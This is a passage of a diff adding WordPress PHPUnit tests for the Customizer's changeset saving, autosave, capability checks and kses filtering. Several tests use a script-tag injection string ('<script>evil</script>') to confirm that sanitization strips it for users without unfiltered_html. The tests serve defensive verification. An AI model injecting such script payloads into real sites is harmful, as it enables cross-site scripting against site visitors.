+		$this->assertNotContains( '<script>', get_option( 'custom_html_2' ) );
+		$this->assertContains( 'WordPress', get_option( 'custom_html_2' ) );
+
+		// User saved as one who also cannot bypass content_save_pre filter.
+		$this->assertNotContains( '<script>', get_option( 'custom_html_3' ) );
+		$this->assertContains( 'WordPress', get_option( 'custom_html_3' ) );
+	}
+
+	/**
+	 * Get a manager for testing JSON corruption protection.
+	 *
+	 * @param string $uuid UUID.
+	 * @return WP_Customize_Manager Manager.
+	 */
+	private function get_manager_for_testing_json_corruption_protection( $uuid ) {
+		global $wp_customize;
+		$wp_customize = new WP_Customize_Manager(
+			array(
+				'changeset_uuid' => $uuid,
+			)
+		);
+		for ( $i = 0; $i < 5; $i++ ) {
+			$wp_customize->add_setting(
+				sprintf( 'custom_html_%d', $i ),
+				array(
+					'type'              => 'option',
+					'sanitize_callback' => array( $this, 'apply_content_save_pre_filters_if_not_main_admin_user' ),
+				)
+			);
+		}
+		return $wp_customize;
+	}
+
+	/**
+	 * Sanitize content with Kses if the current user is not the main admin.
+	 *
+	 * @since 5.4.1
+	 *
+	 * @param string $content Content to sanitize.
+	 * @return string Sanitized content.
+	 */
+	public function apply_content_save_pre_filters_if_not_main_admin_user( $content ) {
+		if ( get_current_user_id() !== self::$admin_user_id ) {
+			$content = apply_filters( 'content_save_pre', $content );
+		}
+		return $content;
+	}
+
+	/**
+	 * Filter map_meta_cap to disallow unfiltered_html.
+	 *
+	 * @since 5.4.1
+	 *
+	 * @param array  $caps User's capabilities.
+	 * @param string $cap  Requested cap.
+	 * @return array Caps.
+	 */
+	public function filter_map_meta_cap_to_disallow_unfiltered_html( $caps, $cap ) {
+		if ( 'unfiltered_html' === $cap ) {
+			$caps = array( 'do_not_allow' );
+		}
+		return $caps;
+	}
+
+	/**
+	 * Call count for customize_changeset_save_data filter.
+	 *
+	 * @var int
+	 */
+	protected $customize_changeset_save_data_call_count = 0;
+
+	/**
+	 * Filter customize_changeset_save_data.
+	 *
+	 * @param array $data    Data.
+	 * @param array $context Context.
+	 * @returns array Data.
+	 */
+	function filter_customize_changeset_save_data( $data, $context ) {
+		$this->customize_changeset_save_data_call_count += 1;
+		$this->assertInternalType( 'array', $data );
+		$this->assertInternalType( 'array', $context );
+		$this->assertArrayHasKey( 'uuid', $context );
+		$this->assertArrayHasKey( 'title', $context );
+		$this->assertArrayHasKey( 'status', $context );
+		$this->assertArrayHasKey( 'date_gmt', $context );
+		$this->assertArrayHasKey( 'post_id', $context );
+		$this->assertArrayHasKey( 'previous_data', $context );
+		$this->assertArrayHasKey( 'manager', $context );
+		return $data;
+	}
+
+	/**
+	 * Return illegal error.
+	 *
+	 * @return WP_Error Error.
+	 */
+	function return_illegal_error() {
+		return new WP_Error( 'illegal' );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::save_changeset_post().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 * @covers WP_Customize_Manager::update_stashed_theme_mod_settings()
+	 */
+	function test_save_changeset_post_with_theme_activation() {
+		global $wp_customize;
+		wp_set_current_user( self::$admin_user_id );
+
+		$preview_theme = $this->get_inactive_core_theme();
+		$stashed_theme_mods = array(
+			$preview_theme => array(
+				'background_color' => array(
+					'value' => '#123456',
+				),
+			),
+		);
+		update_option( 'customize_stashed_theme_mods', $stashed_theme_mods );
+		$uuid = wp_generate_uuid4();
+		$manager = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'theme' => $preview_theme,
+		) );
+		$wp_customize = $manager;
+		do_action( 'customize_register', $manager );
+
+		$manager->set_post_value( 'blogname', 'Hello Preview Theme' );
+		$post_values = $manager->unsanitized_post_values();
+		$manager->save_changeset_post( array( 'status' => 'publish' ) ); // Activate.
+
+		$this->assertEquals( '#123456', $post_values['background_color'] );
+		$this->assertEquals( $preview_theme, get_stylesheet() );
+		$this->assertEquals( 'Hello Preview Theme', get_option( 'blogname' ) );
+	}
+
+	/**
+	 * Test saving changesets with varying users and capabilities.
+	 *
+	 * @ticket 38705
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 */
+	function test_save_changeset_post_with_varying_users() {
+		global $wp_customize;
+
+		add_theme_support( 'custom-background' );
+		wp_set_current_user( self::$admin_user_id );
+		$other_admin_user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+
+		$uuid = wp_generate_uuid4();
+		$wp_customize = $this->create_test_manager( $uuid );
+		$r = $wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Admin 1 Title',
+				),
+				'scratchpad' => array(
+					'value' => 'Admin 1 Scratch',
+				),
+				'background_color' => array(
+					'value' => '#000000',
+				),
+			),
+		) );
+		$this->assertInternalType( 'array', $r );
+		$this->assertEquals(
+			array_fill_keys( array( 'blogname', 'scratchpad', 'background_color' ), true ),
+			$r['setting_validities']
+		);
+		$post_id = $wp_customize->find_changeset_post_id( $uuid );
+		$data = json_decode( get_post( $post_id )->post_content, true );
+		$this->assertEquals( self::$admin_user_id, $data['blogname']['user_id'] );
+		$this->assertEquals( self::$admin_user_id, $data['scratchpad']['user_id'] );
+		$this->assertEquals( self::$admin_user_id, $data[ $this->manager->get_stylesheet() . '::background_color' ]['user_id'] );
+
+		// Attempt to save just one setting under a different user.
+		wp_set_current_user( $other_admin_user_id );
+		$wp_customize = $this->create_test_manager( $uuid );
+		$r = $wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Admin 2 Title',
+				),
+				'background_color' => array(
+					'value' => '#FFFFFF',
+				),
+			),
+		) );
+		$this->assertInternalType( 'array', $r );
+		$this->assertEquals(
+			array_fill_keys( array( 'blogname', 'background_color' ), true ),
+			$r['setting_validities']
+		);
+		$data = json_decode( get_post( $post_id )->post_content, true );
+		$this->assertEquals( 'Admin 2 Title', $data['blogname']['value'] );
+		$this->assertEquals( $other_admin_user_id, $data['blogname']['user_id'] );
+		$this->assertEquals( 'Admin 1 Scratch', $data['scratchpad']['value'] );
+		$this->assertEquals( self::$admin_user_id, $data['scratchpad']['user_id'] );
+		$this->assertEquals( '#FFFFFF', $data[ $this->manager->get_stylesheet() . '::background_color' ]['value'] );
+		$this->assertEquals( $other_admin_user_id, $data[ $this->manager->get_stylesheet() . '::background_color' ]['user_id'] );
+
+		// Attempt to save now as under-privileged user.
+		$wp_customize = $this->create_test_manager( $uuid );
+		$r = $wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Admin 2 Title', // Identical to what is already in the changeset so will be skipped.
+				),
+				'scratchpad' => array(
+					'value' => 'Subscriber Scratch',
+				),
+			),
+			'user_id' => self::$subscriber_user_id,
+		) );
+		$this->assertInternalType( 'array', $r );
+		$this->assertEquals(
+			array_fill_keys( array( 'scratchpad', 'blogname' ), true ),
+			$r['setting_validities']
+		);
+		$data = json_decode( get_post( $post_id )->post_content, true );
+		$this->assertEquals( $other_admin_user_id, $data['blogname']['user_id'], 'Expected setting to be untouched.' );
+		$this->assertEquals( self::$subscriber_user_id, $data['scratchpad']['user_id'] );
+		$this->assertEquals( $other_admin_user_id, $data[ $this->manager->get_stylesheet() . '::background_color' ]['user_id'] );
+
+		// Manually update the changeset so that the user_id context is not included.
+		$data = json_decode( get_post( $post_id )->post_content, true );
+		$data['blogdescription']['value'] = 'Programmatically-supplied Tagline';
+		wp_update_post( wp_slash( array( 'ID' => $post_id, 'post_content' => wp_json_encode( $data ) ) ) );
+
+		// Ensure the modifying user set as the current user when each is saved, simulating WP Cron envronment.
+		wp_set_current_user( 0 );
+		$save_counts = array();
+		foreach ( array_keys( $data ) as $setting_id ) {
+			$setting_id = preg_replace( '/^.+::/', '', $setting_id );
+			$save_counts[ $setting_id ] = did_action( sprintf( 'customize_save_%s', $setting_id ) );
+		}
+		$this->filtered_setting_current_user_ids = array();
+		foreach ( $wp_customize->settings() as $setting ) {
+			add_filter( sprintf( 'customize_sanitize_%s', $setting->id ), array( $this, 'filter_customize_setting_to_log_current_user' ), 10, 2 );
+		}
+		wp_update_post( array( 'ID' => $post_id, 'post_status' => 'publish' ) );
+		foreach ( array_keys( $data ) as $setting_id ) {
+			$setting_id = preg_replace( '/^.+::/', '', $setting_id );
+			$this->assertEquals( $save_counts[ $setting_id ] + 1, did_action( sprintf( 'customize_save_%s', $setting_id ) ), $setting_id );
+		}
+		$this->assertEqualSets( array( 'blogname', 'blogdescription', 'background_color', 'scratchpad' ), array_keys( $this->filtered_setting_current_user_ids ) );
+		$this->assertEquals( $other_admin_user_id, $this->filtered_setting_current_user_ids['blogname'] );
+		$this->assertEquals( 0, $this->filtered_setting_current_user_ids['blogdescription'] );
+		$this->assertEquals( self::$subscriber_user_id, $this->filtered_setting_current_user_ids['scratchpad'] );
+		$this->assertEquals( $other_admin_user_id, $this->filtered_setting_current_user_ids['background_color'] );
+		$this->assertEquals( 'Subscriber Scratch', get_option( 'scratchpad' ) );
+	}
+
+	/**
+	 * Create test manager.
+	 *
+	 * @param string $uuid Changeset UUID.
+	 * @return WP_Customize_Manager Manager.
+	 */
+	protected function create_test_manager( $uuid ) {
+		$manager = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+		) );
+		do_action( 'customize_register', $manager );
+		$manager->add_setting( 'blogfounded', array(
+			'type' => 'option',
+		) );
+		$manager->add_setting( 'blogterminated', array(
+			'type' => 'option',
+			'capability' => 'do_not_allow',
+		) );
+		$manager->add_setting( 'scratchpad', array(
+			'type' => 'option',
+			'capability' => 'exist',
+		) );
+		return $manager;
+	}
+
+	/**
+	 * Test that updating an auto-draft changeset bumps its post_date to keep it from getting garbage collected by wp_delete_auto_drafts().
+	 *
+	 * @ticket 31089
+	 * @see wp_delete_auto_drafts()
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 */
+	function test_save_changeset_post_dumping_auto_draft_date() {
+		global $wp_customize;
+		wp_set_current_user( self::$admin_user_id );
+
+		$uuid = wp_generate_uuid4();
+		$changeset_post_id = wp_insert_post( array(
+			'post_type' => 'customize_changeset',
+			'post_content' => '{}',
+			'post_name' => $uuid,
+			'post_status' => 'auto-draft',
+			'post_date' => gmdate( 'Y-m-d H:i:s', strtotime( '-3 days' ) ),
+		) );
+
+		$post = get_post( $changeset_post_id );
+		$original_post_date = $post->post_date;
+
+		$wp_customize = $this->create_test_manager( $uuid );
+		$wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Admin 1 Title',
+				),
+			),
+		) );
+
+		$post = get_post( $changeset_post_id );
+		$this->assertNotEquals( $post->post_date, $original_post_date );
+	}
+
+	/**
+	 * Test writing changesets when user supplies unchanged values.
+	 *
+	 * @ticket 38865
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 */
+	function test_save_changeset_post_with_unchanged_values() {
+		global $wp_customize;
+
+		add_theme_support( 'custom-background' );
+		wp_set_current_user( self::$admin_user_id );
+		$other_admin_user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+
+		$uuid = wp_generate_uuid4();
+		$wp_customize = $this->create_test_manager( $uuid );
+		$wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Admin 1 Title',
+				),
+				'blogdescription' => array(
+					'value' => 'Admin 1 Tagline',
+				),
+				'blogfounded' => array(
+					'value' => '2016',
+				),
+				'scratchpad' => array(
+					'value' => 'Admin 1 Scratch',
+				),
+			),
+		) );
+
+		// Make sure that setting properties of unknown and unauthorized settings are rejected.
+		$data = get_post( $wp_customize->changeset_post_id() )->post_content;
+		$r = $wp_customize->save_changeset_post( array(
+			'data' => array(
+				'unknownsetting' => array(
+					'custom' => 'prop',
+				),
+				'blogterminated' => array(
+					'custom' => 'prop',
+				),
+			),
+		) );
+		$this->assertInstanceOf( 'WP_Error', $r['setting_validities']['unknownsetting'] );
+		$this->assertEquals( 'unrecognized', $r['setting_validities']['unknownsetting']->get_error_code() );
+		$this->assertInstanceOf( 'WP_Error', $r['setting_validities']['blogterminated'] );
+		$this->assertEquals( 'unauthorized', $r['setting_validities']['blogterminated']->get_error_code() );
+		$this->assertEquals( $data, get_post( $wp_customize->changeset_post_id() )->post_content );
+
+		// Test submitting data with changed and unchanged settings, creating a new instance so that the post_values are cleared.
+		wp_set_current_user( $other_admin_user_id );
+		$wp_customize = $this->create_test_manager( $uuid );
+		$r = $wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Admin 1 Title', // Unchanged value.
+				),
+				'blogdescription' => array(
+					'value' => 'Admin 1 Tagline Changed', // Changed value.
+				),
+				'blogfounded' => array(
+					'extra' => 'blogfounded_param', // New param.
+				),
+				'scratchpad' => array(
+					'value' => 'Admin 1 Scratch', // Unchanged value.
+					'extra' => 'background_scratchpad2', // New param.
+				),
+			),
+		) );
+
+		// Note that blogfounded is not included among setting_validities because no value was supplied and it is not unrecognized/unauthorized.
+		$this->assertEquals( array_fill_keys( array( 'blogname', 'blogdescription', 'scratchpad' ), true ), $r['setting_validities'], 'Expected blogname even though unchanged.' );
+
+		$data = json_decode( get_post( $wp_customize->changeset_post_id() )->post_content, true );
+
+		$this->assertEquals( self::$admin_user_id, $data['blogname']['user_id'], 'Expected unchanged user_id since value was unchanged.' );
+		$this->assertEquals( $other_admin_user_id, $data['blogdescription']['user_id'] );
+		$this->assertEquals( $other_admin_user_id, $data['blogfounded']['user_id'] );
+		$this->assertEquals( $other_admin_user_id, $data['scratchpad']['user_id'] );
+	}
+
+	/**
+	 * Test writing changesets when user supplies unchanged values.
+	 *
+	 * @ticket 39896
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 * @covers WP_Customize_Manager::grant_edit_post_capability_for_changeset()
+	 */
+	public function test_save_changeset_post_with_autosave() {
+		wp_set_current_user( self::$admin_user_id );
+		$uuid = wp_generate_uuid4();
+		$changeset_post_id = wp_insert_post( array(
+			'post_type' => 'customize_changeset',
+			'post_content' => wp_json_encode( array(
+				'blogname' => array(
+					'value' => 'Auto-draft Title',
+				),
+			) ),
+			'post_author' => self::$admin_user_id,
+			'post_name' => $uuid,
+			'post_status' => 'auto-draft',
+		) );
+
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+		) );
+		$wp_customize->register_controls(); // And settings too.
+
+		// Autosave of an auto-draft overwrites original.
+		$wp_customize->save_changeset_post( array(
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Autosaved Auto-draft Title',
+				),
+			),
+			'autosave' => true,
+		) );
+		$this->assertFalse( wp_get_post_autosave( $changeset_post_id, get_current_user_id() ) );
+		$this->assertContains( 'Autosaved Auto-draft Title', get_post( $changeset_post_id )->post_content );
+
+		// Update status to draft for subsequent tests.
+		$wp_customize->save_changeset_post( array(
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Draft Title',
+				),
+			),
+			'status' => 'draft',
+			'autosave' => false,
+		) );
+		$this->assertContains( 'Draft Title', get_post( $changeset_post_id )->post_content );
+
+		// Fail: illegal_autosave_with_date_gmt.
+		$r = $wp_customize->save_changeset_post( array(
+			'autosave' => true,
+			'date_gmt' => ( gmdate( 'Y' ) + 1 ) . '-12-01 00:00:00',
+		) );
+		$this->assertInstanceOf( 'WP_Error', $r );
+		$this->assertEquals( 'illegal_autosave_with_date_gmt', $r->get_error_code() );
+
+		// Fail: illegal_autosave_with_status.
+		$r = $wp_customize->save_changeset_post( array(
+			'autosave' => true,
+			'status' => 'pending',
+		) );
+		$this->assertEquals( 'illegal_autosave_with_status', $r->get_error_code() );
+
+		// Fail: illegal_autosave_with_non_current_user.
+		$r = $wp_customize->save_changeset_post( array(
+			'autosave' => true,
+			'user_id' => $this->factory()->user->create( array( 'role' => 'administrator' ) ),
+		) );
+		$this->assertEquals( 'illegal_autosave_with_non_current_user', $r->get_error_code() );
+
+		// Try autosave.
+		$this->assertFalse( wp_get_post_autosave( $changeset_post_id, get_current_user_id() ) );
+		$r = $wp_customize->save_changeset_post( array(
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Autosave Title',
+				),
+			),
+			'autosave' => true,
+		) );
+		$this->assertInternalType( 'array', $r );
+
+		// Verify that autosave happened.
+		$autosave_revision = wp_get_post_autosave( $changeset_post_id, get_current_user_id() );
+		$this->assertInstanceOf( 'WP_Post', $autosave_revision );
+		$this->assertContains( 'Draft Title', get_post( $changeset_post_id )->post_content );
+		$this->assertContains( 'Autosave Title', $autosave_revision->post_content );
+	}
+
+	/**
+	 * Test passing `null` for a setting ID to remove it from the changeset.
+	 *
+	 * @ticket 41621
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 */
+	function test_remove_setting_from_changeset_post() {
+		$uuid = wp_generate_uuid4();
+
+		$manager = $this->create_test_manager( $uuid );
+		$manager->save_changeset_post( array(
+			'data' => array(
+				'scratchpad' => array(
+					'value' => 'foo',
+				),
+			),
+		) );
+
+		// Create a new manager so post values are unset.
+		$manager = $this->create_test_manager( $uuid );
+
+		$this->assertArrayHasKey( 'scratchpad', $manager->changeset_data() );
+
+		$manager->save_changeset_post( array(
+			'data' => array(
+				'scratchpad' => null,
+			),
+		) );
+
+		$this->assertArrayNotHasKey( 'scratchpad', $manager->changeset_data() );
+	}
+
+	/**
+	 * Test writing changesets and publishing with users who can unfiltered_html and those who cannot.
+	 *
+	 * @ticket 38705
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 */
+	function test_save_changeset_post_with_varying_unfiltered_html_cap() {
+		global $wp_customize;
+		grant_super_admin( self::$admin_user_id );
+		$this->assertTrue( user_can( self::$admin_user_id, 'unfiltered_html' ) );
+		$this->assertFalse( user_can( self::$subscriber_user_id, 'unfiltered_html' ) );
+		wp_set_current_user( 0 );
+		add_action( 'customize_register', array( $this, 'register_scratchpad_setting' ) );
+
+		// Attempt scratchpad with user who has unfiltered_html.
+		update_option( 'scratchpad', '' );
+		$wp_customize = new WP_Customize_Manager();
+		do_action( 'customize_register', $wp_customize );
+		$wp_customize->set_post_value( 'scratchpad', 'Unfiltered<script>evil</script>' );
+		$wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'user_id' => self::$admin_user_id,
+		) );
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $wp_customize->changeset_uuid() ) );
+		do_action( 'customize_register', $wp_customize );
+		$wp_customize->save_changeset_post( array( 'status' => 'publish' ) );
+		$this->assertEquals( 'Unfiltered<script>evil</script>', get_option( 'scratchpad' ) );
+
+		// Attempt scratchpad with user who doesn't have unfiltered_html.
+		update_option( 'scratchpad', '' );
+		$wp_customize = new WP_Customize_Manager();
+		do_action( 'customize_register', $wp_customize );
+		$wp_customize->set_post_value( 'scratchpad', 'Unfiltered<script>evil</script>' );
+		$wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'user_id' => self::$subscriber_user_id,
+		) );
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $wp_customize->changeset_uuid() ) );
+		do_action( 'customize_register', $wp_customize );
+		$wp_customize->save_changeset_post( array( 'status' => 'publish' ) );
+		$this->assertEquals( 'Unfilteredevil', get_option( 'scratchpad' ) );
+
+		// Attempt publishing scratchpad as anonymous user when changeset was set by privileged user.
+		update_option( 'scratchpad', '' );
+		$wp_customize = new WP_Customize_Manager();
+		do_action( 'customize_register', $wp_customize );
+		$wp_customize->set_post_value( 'scratchpad', 'Unfiltered<script>evil</script>' );
+		$wp_customize->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'user_id' => self::$admin_user_id,
+		) );
+		$changeset_post_id = $wp_customize->changeset_post_id();
+		wp_set_current_user( 0 );
+		$wp_customize = null;
+		unset( $GLOBALS['wp_actions']['customize_register'] );
+		$this->assertEquals( 'Unfilteredevil', apply_filters( 'content_save_pre', 'Unfiltered<script>evil</script>' ) );
+		wp_publish_post( $changeset_post_id ); // @todo If wp_update_post() is used here, then kses will corrupt the post_content.
+		$this->assertEquals( 'Unfiltered<script>evil</script>', get_option( 'scratchpad' ) );
+	}
+
+	/**
+	 * Test saving settings by publishing a changeset outside of Customizer entirely.
+	 *
+	 * Widgets get their settings registered and previewed early in the admin,
+	 * so this ensures that the previewing is bypassed when in the context of
+	 * publishing
+	 *
+	 * @ticket 39221
+	 * @covers _wp_customize_publish_changeset()
+	 * @see WP_Customize_Widgets::schedule_customize_register()
+	 * @see WP_Customize_Widgets::customize_register()
+	 */
+	function test_wp_customize_publish_changeset() {
+		global $wp_customize;
+		$wp_customize = null;
+
+		// Set the admin current screen to cause WP_Customize_Widgets::schedule_customize_register() to do early setting registration.
+		set_current_screen( 'edit' );
+		$this->assertTrue( is_admin() );
+
+		$old_sidebars_widgets = get_option( 'sidebars_widgets' );
+		$new_sidebars_widgets = $old_sidebars_widgets;
+		$this->assertGreaterThan( 2, count( $new_sidebars_widgets['sidebar-1'] ) );
+		$new_sidebar_1 = array_reverse( $new_sidebars_widgets['sidebar-1'] );
+
+		$post_id = $this->factory()->post->create( array(
+			'post_type' => 'customize_changeset',
+			'post_status' => 'draft',
+			'post_name' => wp_generate_uuid4(),
+			'post_content' => wp_json_encode( array(
+				'sidebars_widgets[sidebar-1]' => array(
+					'value' => $new_sidebar_1,
+				),
+			) ),
+		) );
+
+		// Save the updated sidebar widgets into the options table by publishing the changeset.
+		wp_publish_post( $post_id );
+
+		// Make sure previewing filters were never added, since WP_Customize_Manager should be constructed with settings_previewed=false.
+		$this->assertFalse( has_filter( 'option_sidebars_widgets' ) );
+		$this->assertFalse( has_filter( 'default_option_sidebars_widgets' ) );
+
+		// Ensure that the value has actually been written to the DB.
+		$updated_sidebars_widgets = get_option( 'sidebars_widgets' );
+		$this->assertEquals( $new_sidebar_1, $updated_sidebars_widgets['sidebar-1'] );
+	}
+
+	/**
+	 * Ensure that saving a changeset with a publish status but future date will change the status to future, to align with behavior in wp_insert_post().
+	 *
+	 * @ticket 41336
+	 * @covers WP_Customize_Manager::save_changeset_post
+	 */
+	function test_publish_changeset_with_future_status_when_future_date() {
+		$wp_customize = $this->create_test_manager( wp_generate_uuid4() );
+
+		$wp_customize->save_changeset_post( array(
+			'date_gmt' => gmdate( 'Y-m-d H:i:s', strtotime( '+1 day' ) ),
+			'status' => 'publish',
+			'title' => 'Foo',
+		) );
+
+		$this->assertSame( 'future', get_post_status( $wp_customize->changeset_post_id() ) );
+	}
+
+	/**
+	 * Ensure that save_changeset_post method bails updating an underlying changeset which is invalid.
+	 *
+	 * @ticket 41252
+	 * @covers WP_Customize_Manager::save_changeset_post
+	 * @covers WP_Customize_Manager::get_changeset_post_data
+	 */
+	function test_save_changeset_post_for_bad_changeset() {
+		$uuid = wp_generate_uuid4();
+		$post_id = wp_insert_post( array(
+			'post_type' => 'customize_changeset',
+			'post_content' => 'INVALID_JSON',
+			'post_name' => $uuid,
+			'post_status' => 'auto-draft',
+			'post_date' => gmdate( 'Y-m-d H:i:s', strtotime( '-3 days' ) ),
+		) );
+		$manager = $this->create_test_manager( $uuid );
+		$args = array(
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Test',
+				),
+			),
+		);
+
+		$r = $manager->save_changeset_post( $args );
+		$this->assertInstanceOf( 'WP_Error', $r );
+		if ( function_exists( 'json_last_error' ) ) {
+			$this->assertEquals( 'json_parse_error', $r->get_error_code() );
+		}
+
+		wp_update_post( array(
+			'ID' => $post_id,
+			'post_content' => 'null',
+		) );
+		$r = $manager->save_changeset_post( $args );
+		$this->assertInstanceOf( 'WP_Error', $r );
+		$this->assertEquals( 'expected_array', $r->get_error_code() );
+	}
+
+	/**
+	 * Test that trash_changeset_post() trashes a changeset post with its name and content preserved.
+	 *
+	 * @covers WP_Customize_Manager::trash_changeset_post
+	 */
+	public function test_trash_changeset_post_preserves_properties() {
+		$args = array(
+			'post_type' => 'customize_changeset',
+			'post_content' => wp_json_encode( array(
+				'blogname' => array(
+					'value' => 'Test',
+				),
+			) ),
+			'post_name' => wp_generate_uuid4(),
+			'post_status' => 'draft',
+		);
+
+		$post_id = wp_insert_post( $args );
+
+		$manager = $this->create_test_manager( $args['post_name'] );
+		$manager->trash_changeset_post( $post_id );
+
+		$post = get_post( $post_id );
+
+		$this->assertSame( 'trash', get_post_status( $post_id ) );
+		$this->assertSame( $args['post_name'], $post->post_name );
+		$this->assertSame( $args['post_content'], $post->post_content );
+	}
+
+	/**
+	 * Register scratchpad setting.
+	 *
+	 * @param WP_Customize_Manager $wp_customize Manager.
+	 */
+	function register_scratchpad_setting( WP_Customize_Manager $wp_customize ) {
+		$wp_customize->add_setting( 'scratchpad', array(
+			'type' => 'option',
+			'capability' => 'exist',
+			'sanitize_callback' => array( $this, 'filter_sanitize_scratchpad' ),
+		) );
+	}
+
+	/**
+	 * Sanitize scratchpad as if it is post_content so kses filters apply.
+	 *
+	 * @param string $value Value.
+	 * @return string Value.
+	 */
+	function filter_sanitize_scratchpad( $value ) {
+		return apply_filters( 'content_save_pre', $value );
+	}
+
+	/**
+	 * Current user when settings are filtered.
+	 *
+	 * @var array
+	 */
+	protected $filtered_setting_current_user_ids = array();
+
+	/**
+	 * Filter setting to capture the current user when the filter applies.
+	 *
+	 * @param mixed                $value   Setting value.
+	 * @param WP_Customize_Setting $setting Setting.
+	 * @return mixed Value.
+	 */
+	function filter_customize_setting_to_log_current_user( $value, $setting ) {
+		$this->filtered_setting_current_user_ids[ $setting->id ] = get_current_user_id();
+		return $value;
+	}
+
+	/**
+	 * Test WP_Customize_Manager::is_cross_domain().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::is_cross_domain()
+	 */
+	function test_is_cross_domain() {
+		$wp_customize = new WP_Customize_Manager();
+
+		update_option( 'home', 'http://example.com' );
+		update_option( 'siteurl', 'http://example.com' );
+		$this->assertFalse( $wp_customize->is_cross_domain() );
+
+		update_option( 'home', 'http://example.com' );
+		update_option( 'siteurl', 'https://admin.example.com' );
+		$this->assertTrue( $wp_customize->is_cross_domain() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::get_allowed_urls().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::get_allowed_urls()
+	 */
+	function test_get_allowed_urls() {
+		$wp_customize = new WP_Customize_Manager();
+		$this->assertFalse( is_ssl() );
+		$this->assertFalse( $wp_customize->is_cross_domain() );
+		$allowed = $wp_customize->get_allowed_urls();
+		$this->assertEquals( $allowed, array( home_url( '/', 'http' ) ) );
+
+		add_filter( 'customize_allowed_urls', array( $this, 'filter_customize_allowed_urls' ) );
+		$allowed = $wp_customize->get_allowed_urls();
+		$this->assertEqualSets( $allowed, array( 'http://headless.example.com/', home_url( '/', 'http' ) ) );
+	}
+
+	/**
+	 * Callback for customize_allowed_urls filter.
+	 *
+	 * @param array $urls URLs.
+	 * @return array URLs.
+	 */
+	function filter_customize_allowed_urls( $urls ) {
+		$urls[] = 'http://headless.example.com/';
+		return $urls;
+	}
+
+	/**
+	 * Test WP_Customize_Manager::doing_ajax().
+	 *
+	 * @group ajax
+	 */
+	function test_doing_ajax() {
+		add_filter( 'wp_doing_ajax', '__return_true' );
+
+		$manager = $this->manager;
+		$this->assertTrue( $manager->doing_ajax() );
+
+		$_REQUEST['action'] = 'customize_save';
+		$this->assertTrue( $manager->doing_ajax( 'customize_save' ) );
+		$this->assertFalse( $manager->doing_ajax( 'update-widget' ) );
+	}
+
+	/**
+	 * Test ! WP_Customize_Manager::doing_ajax().
+	 */
+	function test_not_doing_ajax() {
+		add_filter( 'wp_doing_ajax', '__return_false' );
+
+		$manager = $this->manager;
+		$this->assertFalse( $manager->doing_ajax() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::unsanitized_post_values().
+	 *
+	 * @ticket 30988
+	 */
+	function test_unsanitized_post_values_from_input() {
+		wp_set_current_user( self::$admin_user_id );
+		$manager = $this->manager;
+
+		$customized = array(
+			'foo' => 'bar',
+			'baz[quux]' => 123,
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $customized ) );
+		$post_values = $manager->unsanitized_post_values();
+		$this->assertEquals( $customized, $post_values );
+		$this->assertEmpty( $manager->unsanitized_post_values( array( 'exclude_post_data' => true ) ) );
+
+		$manager->set_post_value( 'foo', 'BAR' );
+		$post_values = $manager->unsanitized_post_values();
+		$this->assertEquals( 'BAR', $post_values['foo'] );
+		$this->assertEmpty( $manager->unsanitized_post_values( array( 'exclude_post_data' => true ) ) );
+
+		// If user is unprivileged, the post data is ignored.
+		wp_set_current_user( 0 );
+		$this->assertEmpty( $manager->unsanitized_post_values() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::unsanitized_post_values().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::unsanitized_post_values()
+	 */
+	function test_unsanitized_post_values_with_changeset_and_stashed_theme_mods() {
+		wp_set_current_user( self::$admin_user_id );
+
+		$preview_theme = $this->get_inactive_core_theme();
+		$stashed_theme_mods = array(
+			$preview_theme => array(
+				'background_color' => array(
+					'value' => '#000000',
+				),
+			),
+		);
+		$stashed_theme_mods[ get_stylesheet() ] = array(
+			'background_color' => array(
+				'value' => '#FFFFFF',
+			),
+		);
+		update_option( 'customize_stashed_theme_mods', $stashed_theme_mods );
+
+		$post_values = array(
+			'blogdescription' => 'Post Input Tagline',
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $post_values ) );
+
+		$uuid = wp_generate_uuid4();
+		$changeset_data = array(
+			'blogname' => array(
+				'value' => 'Changeset Title',
+			),
+			'blogdescription' => array(
+				'value' => 'Changeset Tagline',
+			),
+		);
+		$this->factory()->post->create( array(
+			'post_type' => 'customize_changeset',
+			'post_status' => 'auto-draft',
